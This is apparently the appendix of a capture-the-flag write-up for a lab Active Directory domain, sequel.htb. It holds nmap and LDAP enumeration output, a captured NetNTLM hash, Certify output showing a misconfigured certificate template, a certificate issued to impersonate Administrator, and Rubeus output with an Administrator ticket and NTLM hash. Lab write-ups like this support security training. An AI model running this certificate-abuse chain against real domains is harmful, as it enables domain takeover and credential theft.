1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP
(Domain: sequel.htb, Site: Default-First-Site-Name)
| ldap-rootdse:
| LDAP Results
|   <ROOT>
|       domainFunctionality: 7
|       forestFunctionality: 7
|       domainControllerFunctionality: 7
|       rootDomainNamingContext: DC=sequel,DC=htb
|       ldapServiceName: sequel.htb:dc$@SEQUEL.HTB
|       isGlobalCatalogReady: TRUE
|       supportedSASLMechanisms: GSSAPI
|       supportedSASLMechanisms: GSS-SPNEGO
|       supportedSASLMechanisms: EXTERNAL
|       supportedSASLMechanisms: DIGEST-MD5
|       supportedLDAPVersion: 3
|       supportedLDAPVersion: 2
|       supportedLDAPPolicies: MaxPoolThreads
|       supportedLDAPPolicies: MaxPercentDirSyncRequests
|       supportedLDAPPolicies: MaxDatagramRecv
|       supportedLDAPPolicies: MaxReceiveBuffer
|       supportedLDAPPolicies: InitRecvTimeout
|       supportedLDAPPolicies: MaxConnections
|       supportedLDAPPolicies: MaxConnIdleTime
|       supportedLDAPPolicies: MaxPageSize
|       supportedLDAPPolicies: MaxBatchReturnMessages
|       supportedLDAPPolicies: MaxQueryDuration
|       supportedLDAPPolicies: MaxDirSyncDuration
|       supportedLDAPPolicies: MaxTempTableSize
|       supportedLDAPPolicies: MaxResultSetSize
|       supportedLDAPPolicies: MinResultSets
|       supportedLDAPPolicies: MaxResultSetsPerConn
|       supportedLDAPPolicies: MaxNotificationPerConn
|       supportedLDAPPolicies: MaxValRange
```

```
|       supportedLDAPPolicies: MaxValRangeTransitive
|       supportedLDAPPolicies: ThreadMemoryLimit
|       supportedLDAPPolicies: SystemMemoryLimitPercent
|       supportedControl: 1.2.840.113556.1.4.319
|       supportedControl: 1.2.840.113556.1.4.801
|       supportedControl: 1.2.840.113556.1.4.473
|       supportedControl: 1.2.840.113556.1.4.528
|       supportedControl: 1.2.840.113556.1.4.417
|       supportedControl: 1.2.840.113556.1.4.619
|       supportedControl: 1.2.840.113556.1.4.841
|       supportedControl: 1.2.840.113556.1.4.529
|       supportedControl: 1.2.840.113556.1.4.805
|       supportedControl: 1.2.840.113556.1.4.521
|       supportedControl: 1.2.840.113556.1.4.970
|       supportedControl: 1.2.840.113556.1.4.1338
|       supportedControl: 1.2.840.113556.1.4.474
|       supportedControl: 1.2.840.113556.1.4.1339
|       supportedControl: 1.2.840.113556.1.4.1340
|       supportedControl: 1.2.840.113556.1.4.1413
|       supportedControl: 2.16.840.1.113730.3.4.9
|       supportedControl: 2.16.840.1.113730.3.4.10
|       supportedControl: 1.2.840.113556.1.4.1504
|       supportedControl: 1.2.840.113556.1.4.1852
|       supportedControl: 1.2.840.113556.1.4.802
|       supportedControl: 1.2.840.113556.1.4.1907
|       supportedControl: 1.2.840.113556.1.4.1948
|       supportedControl: 1.2.840.113556.1.4.1974
|       supportedControl: 1.2.840.113556.1.4.1341
|       supportedControl: 1.2.840.113556.1.4.2026
|       supportedControl: 1.2.840.113556.1.4.2064
|       supportedControl: 1.2.840.113556.1.4.2065
|       supportedControl: 1.2.840.113556.1.4.2066
|       supportedControl: 1.2.840.113556.1.4.2090
|       supportedControl: 1.2.840.113556.1.4.2205
|       supportedControl: 1.2.840.113556.1.4.2204
|       supportedControl: 1.2.840.113556.1.4.2206
|       supportedControl: 1.2.840.113556.1.4.2211
|       supportedControl: 1.2.840.113556.1.4.2239
|       supportedControl: 1.2.840.113556.1.4.2255
|       supportedControl: 1.2.840.113556.1.4.2256
|       supportedControl: 1.2.840.113556.1.4.2309
|       supportedControl: 1.2.840.113556.1.4.2330
|       supportedControl: 1.2.840.113556.1.4.2354
|       supportedCapabilities: 1.2.840.113556.1.4.800
|       supportedCapabilities: 1.2.840.113556.1.4.1670
|       supportedCapabilities: 1.2.840.113556.1.4.1791
|       supportedCapabilities: 1.2.840.113556.1.4.1935
|       supportedCapabilities: 1.2.840.113556.1.4.2080
|       supportedCapabilities: 1.2.840.113556.1.4.2237
|       subschemaSubentry:
```

```
CN=Aggregate,CN=Schema,CN=Configuration,DC=sequel,DC=htb
|       serverName: CN=DC,CN=Servers,CN=Default-First-Site-
Name,CN=Sites,CN=Configuration,DC=sequel,DC=htb
|       schemaNamingContext: CN=Schema,CN=Configuration,DC=sequel,DC=htb
|       namingContexts: DC=sequel,DC=htb
|       namingContexts: CN=Configuration,DC=sequel,DC=htb
|       namingContexts: CN=Schema,CN=Configuration,DC=sequel,DC=htb
|       namingContexts: DC=DomainDnsZones,DC=sequel,DC=htb
|       namingContexts: DC=ForestDnsZones,DC=sequel,DC=htb
|       isSynchronized: TRUE
|       highestCommittedUSN: 159840
|       dsServiceName: CN=NTDS Settings,CN=DC,CN=Servers,CN=Default-First-
Site-Name,CN=Sites,CN=Configuration,DC=sequel,DC=htb
|       dnsHostName: dc.sequel.htb
|       defaultNamingContext: DC=sequel,DC=htb
|       currentTime: 20230613094818.0Z
|_      configurationNamingContext: CN=Configuration,DC=sequel,DC=htb
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP
(Domain: sequel.htb, Site: Default-First-Site-Name)
| ldap-rootdse:
| LDAP Results
|   <ROOT>
|       domainFunctionality: 7
|       forestFunctionality: 7
|       domainControllerFunctionality: 7
|       rootDomainNamingContext: DC=sequel,DC=htb
|       ldapServiceName: sequel.htb:dc$@SEQUEL.HTB
|       isGlobalCatalogReady: TRUE
|       supportedSASLMechanisms: GSSAPI
|       supportedSASLMechanisms: GSS-SPNEGO
|       supportedSASLMechanisms: EXTERNAL
|       supportedSASLMechanisms: DIGEST-MD5
|       supportedLDAPVersion: 3
|       supportedLDAPVersion: 2
|       supportedLDAPPolicies: MaxPoolThreads
|       supportedLDAPPolicies: MaxPercentDirSyncRequests
|       supportedLDAPPolicies: MaxDatagramRecv
|       supportedLDAPPolicies: MaxReceiveBuffer
|       supportedLDAPPolicies: InitRecvTimeout
|       supportedLDAPPolicies: MaxConnections
|       supportedLDAPPolicies: MaxConnIdleTime
|       supportedLDAPPolicies: MaxPageSize
|       supportedLDAPPolicies: MaxBatchReturnMessages
|       supportedLDAPPolicies: MaxQueryDuration
|       supportedLDAPPolicies: MaxDirSyncDuration
|       supportedLDAPPolicies: MaxTempTableSize
|       supportedLDAPPolicies: MaxResultSetSize
|       supportedLDAPPolicies: MinResultSets
|       supportedLDAPPolicies: MaxResultSetsPerConn
|       supportedLDAPPolicies: MaxNotificationPerConn
```

```
|       supportedLDAPPolicies: MaxValRange
|       supportedLDAPPolicies: MaxValRangeTransitive
|       supportedLDAPPolicies: ThreadMemoryLimit
|       supportedLDAPPolicies: SystemMemoryLimitPercent
|       supportedControl: 1.2.840.113556.1.4.319
|       supportedControl: 1.2.840.113556.1.4.801
|       supportedControl: 1.2.840.113556.1.4.473
|       supportedControl: 1.2.840.113556.1.4.528
|       supportedControl: 1.2.840.113556.1.4.417
|       supportedControl: 1.2.840.113556.1.4.619
|       supportedControl: 1.2.840.113556.1.4.841
|       supportedControl: 1.2.840.113556.1.4.529
|       supportedControl: 1.2.840.113556.1.4.805
|       supportedControl: 1.2.840.113556.1.4.521
|       supportedControl: 1.2.840.113556.1.4.970
|       supportedControl: 1.2.840.113556.1.4.1338
|       supportedControl: 1.2.840.113556.1.4.474
|       supportedControl: 1.2.840.113556.1.4.1339
|       supportedControl: 1.2.840.113556.1.4.1340
|       supportedControl: 1.2.840.113556.1.4.1413
|       supportedControl: 2.16.840.1.113730.3.4.9
|       supportedControl: 2.16.840.1.113730.3.4.10
|       supportedControl: 1.2.840.113556.1.4.1504
|       supportedControl: 1.2.840.113556.1.4.1852
|       supportedControl: 1.2.840.113556.1.4.802
|       supportedControl: 1.2.840.113556.1.4.1907
|       supportedControl: 1.2.840.113556.1.4.1948
|       supportedControl: 1.2.840.113556.1.4.1974
|       supportedControl: 1.2.840.113556.1.4.1341
|       supportedControl: 1.2.840.113556.1.4.2026
|       supportedControl: 1.2.840.113556.1.4.2064
|       supportedControl: 1.2.840.113556.1.4.2065
|       supportedControl: 1.2.840.113556.1.4.2066
|       supportedControl: 1.2.840.113556.1.4.2090
|       supportedControl: 1.2.840.113556.1.4.2205
|       supportedControl: 1.2.840.113556.1.4.2204
|       supportedControl: 1.2.840.113556.1.4.2206
|       supportedControl: 1.2.840.113556.1.4.2211
|       supportedControl: 1.2.840.113556.1.4.2239
|       supportedControl: 1.2.840.113556.1.4.2255
|       supportedControl: 1.2.840.113556.1.4.2256
|       supportedControl: 1.2.840.113556.1.4.2309
|       supportedControl: 1.2.840.113556.1.4.2330
|       supportedControl: 1.2.840.113556.1.4.2354
|       supportedCapabilities: 1.2.840.113556.1.4.800
|       supportedCapabilities: 1.2.840.113556.1.4.1670
|       supportedCapabilities: 1.2.840.113556.1.4.1791
|       supportedCapabilities: 1.2.840.113556.1.4.1935
|       supportedCapabilities: 1.2.840.113556.1.4.2080
|       supportedCapabilities: 1.2.840.113556.1.4.2237
```

```
|       subschemaSubentry:
CN=Aggregate,CN=Schema,CN=Configuration,DC=sequel,DC=htb
|       serverName: CN=DC,CN=Servers,CN=Default-First-Site-
Name,CN=Sites,CN=Configuration,DC=sequel,DC=htb
|       schemaNamingContext: CN=Schema,CN=Configuration,DC=sequel,DC=htb
|       namingContexts: DC=sequel,DC=htb
|       namingContexts: CN=Configuration,DC=sequel,DC=htb
|       namingContexts: CN=Schema,CN=Configuration,DC=sequel,DC=htb
|       namingContexts: DC=DomainDnsZones,DC=sequel,DC=htb
|       namingContexts: DC=ForestDnsZones,DC=sequel,DC=htb
|       isSynchronized: TRUE
|       highestCommittedUSN: 159840
|       dsServiceName: CN=NTDS Settings,CN=DC,CN=Servers,CN=Default-First-
Site-Name,CN=Sites,CN=Configuration,DC=sequel,DC=htb
|       dnsHostName: dc.sequel.htb
|       defaultNamingContext: DC=sequel,DC=htb
|       currentTime: 20230613094821.0Z
|_      configurationNamingContext: CN=Configuration,DC=sequel,DC=htb
Warning: OSScan results may be unreliable because we could not find at
least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results
incomplete
No OS matches for host
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_smb-vuln-ms10-054: false
| smb-protocols:
|   dialects:
|     202
|     210
|     300
|     302
|_    311
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to
receive bytes: ERROR
|_msrpc-enum: Could not negotiate a connection:SMB: Failed to receive
bytes: ERROR
```

4.2 sql_svc NetNTLM Hash

```
sql_svc::sequel:aaaaaaaaaaaaaaaa:a2107db17d9dd09133619caa09a8a78d:010100000
000000000c59e1f9f9dd901a51661b946ba6b350000000000100100042007a00540064005700
61004a00680003001000420007a00540064005700610004a00680002001000790006c006100550
057004a00760079000400100079006c006100550057004a00760079000700080000c59e1f9f
9dd90106000400020000000800300030000000000000000000000000300000369dce936d3f9
85a10500aaf9ccd00721a8a55055698e67d586836d467e3c9730a001000000000000000000000
000000000000000009001e006300690066007300 2f00310030002e00310030002e003100360
```

```
02e0034000000000000000000
```

4.3 Misconfigured Certificate Templates

```
   _____           _   _  __
  / ____|         | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./
  v1.1.0

[*] Action: Find certificate templates
[*] Using current user's unrolled group SIDs for vulnerability checks.
[*] Using the search base 'CN=Configuration,DC=sequel,DC=htb'

[*] Listing info about the Enterprise CA 'sequel-DC-CA'

    Enterprise CA Name            : sequel-DC-CA
    DNS Hostname                  : dc.sequel.htb
    FullName                      : dc.sequel.htb\sequel-DC-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION,
CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=sequel-DC-CA, DC=sequel, DC=htb
    Cert Thumbprint               :
A263EA89CAFE503BB33513E359747FD262F91A56
    Cert Serial                   : 1EF2FA9A7E6EADAD4F5382F4CE283101
    Cert Start Date               : 11/18/2022 12:58:46 PM
    Cert End Date                 : 11/18/2121 1:08:46 PM
    Cert Chain                    : CN=sequel-DC-CA,DC=sequel,DC=htb
    UserSpecifiedSAN              : Disabled
    CA Permissions                :
      Owner: BUILTIN\Administrators        S-1-5-32-544

      Access Rights                                       Principal

      Allow  Enroll                                       NT
AUTHORITY\Authenticated UsersS-1-5-11
      Allow  ManageCA, ManageCertificates
BUILTIN\Administrators        S-1-5-32-544
      Allow  ManageCA, ManageCertificates               sequel\Domain
Admins          S-1-5-21-4078382237-1492182817-2568127209-512
      Allow  ManageCA, ManageCertificates               sequel\Enterprise
Admins      S-1-5-21-4078382237-1492182817-2568127209-519
    Enrollment Agent Restrictions : None
```

```
[!] Vulnerable Certificates Templates :

    CA Name                               : dc.sequel.htb\sequel-DC-CA
    Template Name                         : UserAuthentication
    Schema Version                        : 2
    Validity Period                       : 10 years
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : ENROLLEE_SUPPLIES_SUBJECT
    mspki-enrollment-flag                 : INCLUDE_SYMMETRIC_ALGORITHMS,
PUBLISH_TO_DS
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : Client Authentication,
Encrypting File System, Secure Email
    mspki-certificate-application-policy  : Client Authentication,
Encrypting File System, Secure Email
    Permissions
      Enrollment Permissions
        Enrollment Rights           : sequel\Domain Admins
S-1-5-21-4078382237-1492182817-2568127209-512
                                      sequel\Domain Users
S-1-5-21-4078382237-1492182817-2568127209-513
                                      sequel\Enterprise Admins
S-1-5-21-4078382237-1492182817-2568127209-519
      Object Control Permissions
        Owner                       : sequel\Administrator
S-1-5-21-4078382237-1492182817-2568127209-500
        WriteOwner Principals       : sequel\Administrator
S-1-5-21-4078382237-1492182817-2568127209-500
                                      sequel\Domain Admins
S-1-5-21-4078382237-1492182817-2568127209-512
                                      sequel\Enterprise Admins
S-1-5-21-4078382237-1492182817-2568127209-519
        WriteDacl Principals        : sequel\Administrator
S-1-5-21-4078382237-1492182817-2568127209-500
                                      sequel\Domain Admins
S-1-5-21-4078382237-1492182817-2568127209-512
                                      sequel\Enterprise Admins
S-1-5-21-4078382237-1492182817-2568127209-519
        WriteProperty Principals    : sequel\Administrator
S-1-5-21-4078382237-1492182817-2568127209-500
                                      sequel\Domain Admins
S-1-5-21-4078382237-1492182817-2568127209-512
                                      sequel\Enterprise Admins
S-1-5-21-4078382237-1492182817-2568127209-519
```

4.4 Generating Certificate to Impersonate Administrator

```
   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                              __/ |
                             |___./
  v1.1.0

[*] Action: Request a Certificates

[*] Current user context    : sequel\Ryan.Cooper
[*] No subject name specified, using current context as subject.

[*] Template                : UserAuthentication
[*] Subject                 : CN=Ryan.Cooper, CN=Users, DC=sequel, DC=htb
[*] AltName                 : Administrator

[*] Certificate Authority   : dc.sequel.htb\sequel-DC-CA

[*] CA Response             : The certificate had been issued.
[*] Request ID              : 10

[*] cert.pem         :

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA3shCKSf5rGy5s14qluSJgSKdzBO8Hq6BiIPYI6VPSjmziF1/
PeqkPEN4Afuh7fIpAP45bb7kXuZHJH85MnoAgkKxbal7ZiiskEMTaipCwECLdzFl
OcAhTbnJBx6tt2XVcIMjTkuCEI5WVXqdYVz6mYQg9YA/LUqIJCT+RtLtOydd88HS
ssFEwLRU0jXuYIYC6/Ed7A/PvS9a3PsEVWLHEcEfRNTyMrDijtcyyaxrUvivTmVP
FRJVq7NxJNfveS8s6+sx8FRNbo6vpgsXMm3aIKCVv844KflSO1g7XVcJMhmglvcX
G2kaoQ0FVKhgDuT5ZOfh6XNlDOYPpI6G3rneyQIDAQABAoIBAQCIU7Noy/WU9dON
V4poW+FpDG3TfCAaBl9t0oBpD7e9jCG4yL4cfYGS/xZo4DrvCMjeurMZ3T6SdAgE
5XVy1gWJsJYyrQu+MBWpEeLHjKTcUKMHhUqUVGYM0iuaF8Pl/oLmHtl0B/DHgNKD
7ExyUBtp5djlYl1Gsd0tgRW48UoKb5+753ACHjxa2Tf5g6h4D3ZuY7DJ4B13x1VF
GL5cLJRYscJuYW05SQEX0EOlNbOTizWsbo/wzyo9laF8LMAOLh6ynpp+60MRHljh
qe4Cm0L2Q9n4sfN3P/vCBqCSXRxp8avamdyD5IBtJPxAzsd0CTOGKlUQgwgUpJ/U
Op9cfHihAoGBAN+OCx0R5qYniR+cFTZIfAwTIcT93Y8Exs6YTS0594kwmkODaTya
npiBRUWhzkut3aHdn7splYgMam4fnnVuaBPSquCSlUzqbTGhWEje6znlHvXc9OqV
ut8zxwRJIbZD176HlbDjXwTlTS9IC4rWS1efxLdUmUEtHCxwazAoy5o7AoGBAP8d
got86fMOfFXtltMv1jETx2/tHj0YYlYo6UKsoqV2E27UCSBoy2SNOruI1fKlkrH7
PTNOAHxyMZPwCvqCLz55od/pH3SQYMB07SB25EguzFWa+OMYo6U3P7H9zfjAg2qW
KVVHZ3WTeU2prRITRAvKJ9gJ5ceZB82y7By0OJbLAoGAbeqqPjXSAToJKtiUeWc0
Tr+NaA0mRa6kjWnG8IjC09pozu8q7BheCD/vLmh7RSyMf4y3f8/XbNgl8FVtlPGf
DLgVOmv4KqRM4g0hmlq4r3OfQGXOqhTKl/oeTVYj1DkRN+X0TM/OpVqVE71Jp47r
5n5wu29GFwy2AIeZvEkiqocCgYAFMl2xZ7cAS4A+49sZrDTJxSRf5E2kYvXF2Yl+
4TNi+XfF3y3caiYSg0n5/fyVt8e4Nmz1uZYK8uyNnesrVTGPLT0d6YrJfhNqeDdI
```

```
XQOjcMiaydBeF+dley2h+5CRi6JhrnNjGFREMd/btCQhZSESuGh9Xx4+JaDiEM38
e7NXZwKBgG4xlb25/M+/wJbYEh5oln7djkAsyca87Megt7fsReTI5fAEQ2OgZN/l
+xQZtwDqbV8x2VLfuxNWikgjwPPMBI4hIhTzZUgs8UfOBlQnwjAx2MitnJkyhcXM
iEmJcc9Qk0qKU1aVcYqCN9rot3+KmmAHt4tSM4cptmWAuRJSMpJx
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIGEjCCBPqgAwIBAgITHgAAAApoxuCgNKw1PQAAAAAACjANBgkqhkiG9w0BAQsF
ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGc2VxdWVs
MRUwEwYDVQQDEwxzZXF1ZWwtREMtQ0EwHhcNMjMwNzEyMTcwNTE3WhcNMjUwNzEy
MTcxNTE3WjBTMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYG
c2VxdWVsMQ4wDAYDVQQDEwVVc2VyczEUMBIGA1UEAxMLUnlhbi5Db29wZXIwggEi
MA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDeyEIpJ/msbLmzXiqW5ImBIp3M
E7weroGIg9gjpU9KObOIXX896qQ8Q3gB+6Ht8ikA/jltvuRe5kckfzkyegCCQrFt
qXtmKKyQQxNqKkLAQIt3MWU5wCFNuckHHq23ZdVwgyNOS4IQjlZVep1hXPqZhCD1
gD8tSogkJP5G0u07J13zwdKywUTAtFTSNe5ghgLr8R3sD8+9L1rc+wRVYscRwR9E
1PIysOKO1zLJrGtS+K9OZU8VElWrs3Ek1+95Lyzr6zHwVE1ujq+mCxcybdogoJW/
zjgp+VI7WDtdVwkyGaCW9xcbaRqhDQVUqGAO5Plk5+Hpc2UM5g+kjobeud7JAgMB
AAGjggLsMIIC6DA9BgkrBgEEAYI3FQcEMDAuBiYrBgEEAYI3FQiHq/N2hdymVof9
lTWDv8NZg4nKNYF338oIhp7sKQIBZAIBBTApBgNVHSUEIjAgBggrBgEFBQcDAgYI
KwYBBQUHAwQGCisGAQQBgjcKAwQwDgYDVR0PAQH/BAQDAgWgMDUGCSsGAQQBgjcV
CgQoMCYwCgYIKwYBBQUHAwIwCgYIKwYBBQUHAwQwDAYKKwYBBAGCNwoDBDBEBgkq
hkiG9w0BCQ8ENzA1MA4GCCqGSIb3DQMCAgIAgDAOBggqhkiG9w0DBAICAIAwBwYF
Kw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFJqKlGK8gC+LiR9dZwCpj8D0z4el
MCgGA1UdEQQhMB+gHQYKKwYBBAGCNxQCA6APDA1BZG1pbmlzdHJhdG9yMB8GA1Ud
IwQYMBaAFGKfMqOg8Dgg1GDAzW3F+lEwXsMVMIHEBgNVHR8EgbwwgbkwgbaggbOg
gbCGga1sZGFwOi8vL0NOPXNlcXVlbC1EQy1DQSxDTj1kYyxDTj1DRFAsQ049UHVi
bGljJTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlv
bixEQz1zZXF1ZWwsREM9aHRiP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFz
ZT9vYmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCBvQYIKwYBBQUHAQEE
gbAwga0wgaoGCCsGAQUFBzAChoGdbGRhcDovLy9DTj1zZXF1ZWwtREMtQ0EsQ049
QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNv
bmZpZ3VyYXRpb24sREM9c2VxdWVsLERDPWh0Yj9jQUNlcnRpZmljYXRlP2Jhc2U/
b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTANBgkqhkiG9w0BAQsF
AAOCAQEACbD8gQkEbobBKCI0cutkjyrbtUdRuWUofgSYGPhEkgi9ma9I22+zq+dL
2xQYrkwp728HPo8CmoTd+hDzEndf6iy66IWHyxxo0mtL02B0Ra4Qzc/avuIUfo5U
2YYYt7t3gibehpxXPrAjGlJ7npyqrwskb+PpI6tNMo6dr1spFU2OCv1FqaSzIIqt
0gX3pqgpwB3sra9GJq+hgSm2B6RAePmdDs2a90lxqyt/F93yzEGMwsr/nNcqcBOY
bijLUsdNfz5UegxYvQ5wUUUSnickP2TTOf38mCgut0S6rApwlASm+HBj87WHpf8L
rKUPo9FXf18jDZO0u3igpmkUqbtuVg==
-----END CERTIFICATE-----


[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft
Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```

4.5 Impersonating Administrator with Rubeus

```
   ______         _
  (_____ \       | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.3

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=Ryan.Cooper, CN=Users,
DC=sequel, DC=htb
[*] Building AS-REQ (w/ PKINIT preauth) for: 'sequel.htb\Administrator'
[*] Using domain controller: fe80::dab:1de4:6b9b:29fd%4:88
[+] TGT request successful!
[*] base64(ticket.kirbi):


doIGSDCCBkSgAwIBBaEDAgEWooIFXjCCBVphggVWMIIFUqADAgEFoQwbClNFUVVFTC5IVEKiHzA
doAMC

AQKhFjAUGwZrcmJ0Z3QbCnNlcXVlbC5odGKjggUaMIIFFqADAgESoQMCAQKiggUIBIIFBD0lO0p
DfIL0

9dUaqz8EjX6gDIant5uHnBe5Kp6aPmeNRzATR8MWc9OmONQd+4b1RHLmhKrPSa+2GPMk6oxO/by
vYr7M

exsnrQnGxT5xfiYlHh2LHJiTHp6WbjZBp8t4468BMbc3IxxVDqsYRV4tcpY9sn+okvxx+AjI9OH
KA4qb

uYyKwc8VAG5A3ac06ANdO+8AoY8lA2FkIuMmMfGExUi3+CbcIDB0QnXQcd7s0tskxhWDhy7odpu
xLBA+
      zwf3oaajoRXx0CLh8gynNfpU7kiBEwM/iku6QP80sh9dxAeJvZbXGynf
/UoHdyAqO5fW7O5AhVgyMWE0

8aXfgwMBXd4HUnTFnWdLsp2soSJM3xYX+T4PoTrpjNaUbsxly6UCZ9+nRTkzhMRso3yQ+U8uWaY
uq3lY

fdd+Crufr9RvrPsIZfW4oEMyNOQ5VSQYOZOOkGbdg8rL+RNxNuCqgNLy43TznPtwLFL86ZHNBoB
HX5mr
      Qn+/uoOvkrAXkRK+avbIiRwf5Iwhrc2zUbUHmWeQq9UkDPLKMdC2LqWIW
/VR0QjbZTLAusaOYhvwgB2z
      ItNa/vWcLMfgwqQU+lVOyghLc5mBQIIFwsCOyh6aptWlmqO/WlePizP+jDjrpFj0A
/GIYs3J0Kdnci5I

IF6+9QtOv4+KEt/mPuBilIOIupt52tyYWlKxqUQE4cccgeTkztN9sBimzunz+APhoUJVz3gJEq4
nJno+
      qsoph/iNzEr+ZN7yvKMrVF03/L/doO8/eted7I5AY8H0wFw7pmYwFi
```

```
/hbfGjHVXe37QxK+mFGxuJP21q

OG6z1dqvQWLwcaX3QtzFalho0CsYuiHGuBtfninDAoECuHSOMcEFTjmWTtCWw7+BXf4GDxGh3Hi
gTFDC
      mUJ5oXMasQ7nLr/iCCzpfAZ
/v3iDvHwGPGd4L0KBe6v3ZwAJbzSC9ZU545Sj7VvisrAQYJJGdBQU5Isx

D+8HOYUJqTBh6iXDgZHZyVQStgG3FCmsGrVjZ4ElZQbxlwuASm0smfdUOXWl9Uaan5CK6d6MyMT
4B4no

Kgs++Dr/ae3WBpw2zwcY1pzJY+Wsttspk0mNz8scIVJDlLlc6DAmrMk+zUe9TDPShd1+bh0byN2
1LXp5

FA1ZYtHsGagCT1pJALLji6LPhPv2tgXKPvbGM4BGCkSOR9XeN18i+CSxgygEE9j41gf4e+LRPPV
4it8f

Zz6cJGRR7wrHkuPj4H07Xc0JZ9NVJTqTW0gVVp17ZCJhKBmQyeFUhRD4GADkx7NWG/D78ACHq3t
DdL1D

Jtij6AFALpZiCKsaN5JPy9DH3qvKXHxlS129rtGjNNKNLRk4yDUgD4Zbig20nKvDm2KhDVb+dem
xPBxr

NqEq6q2i1WErcTfA3gd0vfw3SU+m3PJd6s157vULqs4q+J9JJmgfUru48eSxknjfGZjN662YyHK
rFRd8

Ri6PLZA3dWFhAgCkB9JiidfTX2zU9pUQZmpXX22Xx6WWULj/RRT7ITfOATzXUm3HEasO4ZDWQpk
GrMQO
      9EMXRctzQsbS6y4neE/1azSMaZvnbEZdWfL
/o38KMNSk7cEjf7KtEixfht2LlW5R7GsvQEWUj6a6xXp4
      lflQ/bOvB/Zj574qq/At8uCI9Y6kxFg9moURdLUhgQ4Djjv9p53Xb2SeHlvhvYNuK4xYb
/DN+TIRL1Wq

qzisQO8mQlceFv9ft3C9saOB1TCB0qADAgEAooHKBIHHfYHEMIHBoIG+MIG7MIG4oBswGaADAgE
XoRIE

ENfviGWihL9iOab9E4u7JhehDBsKU0VRVUVMLkhUQqIaMBigAwIBAaERMA8bDUFkbWluaXN0cmF
0b3Kj

BwMFAADhAAClERgPMjAyMzA3MTIxNzI4MDZaphEYDzIwMjMwNzEzMDMyODA2WqcRGA8yMDIzMDc
xOTE3

MjgwNlqoDBsKU0VRVUVMLkhUQqkfMB2gAwIBAqEWMBQbBmtyYnRndBsKc2VxdWVsLmh0Yg==

  ServiceName              :  krbtgt/sequel.htb
  ServiceRealm             :  SEQUEL.HTB
  UserName                 :  Administrator
  UserRealm                :  SEQUEL.HTB
  StartTime                :  7/12/2023 10:28:06 AM
  EndTime                  :  7/12/2023 8:28:06 PM
  RenewTill                :  7/19/2023 10:28:06 AM
```

```
  Flags                    :  name_canonicalize, pre_authent, initial,
renewable
  KeyType                  :  rc4_hmac
  Base64(key)              :  1++IZaKEv2I5pv0Ti7smFw==
  ASREP (key)              :  48C7B7C4E32EB70043A51CE0088EC318

[*] Getting credentials using U2U

  CredentialInfo         :
    Version              : 0
    EncryptionType       : rc4_hmac
    CredentialData       :
      CredentialCount    : 1
       NTLM              : A52F78E4C751E5F5E17E1E9F3E58F4EE
```